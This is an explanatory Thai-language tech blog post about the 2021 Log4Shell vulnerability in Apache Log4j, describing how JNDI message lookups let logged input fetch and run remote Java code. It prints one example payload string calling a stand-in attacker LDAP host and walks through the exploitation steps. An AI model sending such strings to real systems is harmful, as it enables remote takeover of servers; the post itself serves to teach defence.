☕ 5-Min Tech Story #04

Log4Shell Apocalypse: เมื่อฟังก์ชัน print log ธรรมดา กลายเป็นประตูนรกข้ามคืน

⏱️ ใช้เวลาอ่านประมาณ: 4 นาที 45 วินาที

ในบรรดาคำสั่งที่โปรแกรมเมอร์ไว้ใจที่สุดในชีวิต คงไม่มีอะไรง่ายและไร้เดียงสาไปกว่าคำสั่ง "พ่น Log" อีกแล้ว

logger.info("User logged in: {}", username);

มันจะไปอันตรายได้ยังไง? ก็แค่เอาข้อความไปแปะลงไฟล์ Text... แต่ในเดือนธันวาคม 2021 โลกทั้งใบต้องตื่นตระหนก เมื่อข้อความในวงเล็บนี้ กลายเป็นช่องโหว่ระดับคะแนนเต็ม CVSS 10.0 ที่แฮกเกอร์สามารถสั่งยึด Server ได้ทั้งเครื่อง โดยไม่ต้องรู้รหัสผ่านสักตัวเดียว!

🤯 ฟีเจอร์ที่ไม่มีใครขอ แต่ทีมงานจัดให้

ย้อนกลับไปหลายปีก่อนหน้า ทีมพัฒนา Apache Log4j อยากเพิ่มความฉลาดให้ระบบ Log พวกเขาเลยใส่ฟีเจอร์หนึ่งที่ชื่อว่า Message Lookup (ผ่านโปรโตคอล JNDI)

ไอเดียคือ: "ถ้า Log เจอข้อความแบบ ${java:version} แทนที่จะพิมพ์ตรงๆ ให้ไประเบิดเอาเวอร์ชันของ Java มาแสดงแทนนะ จะได้สะดวก"

ฟังดูเท่และหวังดี... แต่ความฉลาดเกินเบอร์คือ มันดันรองรับ LDAP ด้วย! นั่นหมายความว่า ถ้าเราส่ง URL แปลกปลอมเข้าไป ตัว Log4j จะหน้าซื่อใจคด วิ่งออกไปโหลดโค้ด Java จากภายนอกมาคอมไพล์และรันในเครื่องตัวเองทันที!

💥 คาถามหาประลัยบรรทัดเดียว

แฮกเกอร์ไม่ต้องแฮก Database ไม่ต้องเดารหัสผ่าน เขาแค่เดินไปที่หน้า Login หรือช่องค้นหา แล้วพิมพ์ชื่อผู้ใช้ว่า:

${jndi:ldap://evil-hacker.com/malware}

สิ่งที่เกิดขึ้นในระดับ Server:

  1. แอปพลิเคชันรับค่าเข้ามา แล้วสั่ง logger.info("Login failed: " + username)
  2. Log4j เห็น syntax ${jndi:...} เลยอุทานว่า "อ๋อ มีตัวแปรให้ค้นหานี่หว่า!"
  3. Log4j ยิง Request วิ่งออกเน็ตไปหาเซิร์ฟเวอร์ของแฮกเกอร์ เพื่อไปดาวน์โหลดไฟล์ malware.class
  4. JVM รันโค้ดชั่วร้ายนั้นทันทีด้วยสิทธิ์เต็มของ App... เกมจบ เซิร์ฟเวอร์โดนยึดเรียบร้อย

ความหลอนคือจุดนั้นไม่มีใครรู้ว่าข้อความจะไหลไปโผล่ที่ไหน แฮกเกอร์เอา String นี้ไปตั้งเป็นชื่อ iPhone, ชื่อตัวละครในเกม Minecraft, หรือแม้กระทั่ง User-Agent ของ Browser เพื่อหวังให้ระบบหลังบ้านเผลอหยิบไป Log สักที่

💡 5-Min Takeaway

"ความฉลาดเกินความจำเป็น คือบ่อเกิดของหายนะ" เครื่องมือที่มีหน้าที่แค่พิมพ์ข้อความ ไม่ควรมีความสามารถในการประมวลผลโค้ด (Execute) หรือวิ่งออกอินเทอร์เน็ต และกฎเหล็กของความปลอดภัยยังคงเหมือนเดิมเสมอ: อย่าไว้ใจ Input จากภายนอก แม้กระทั่งตอนจะบันทึกมันลง Log ก็ตาม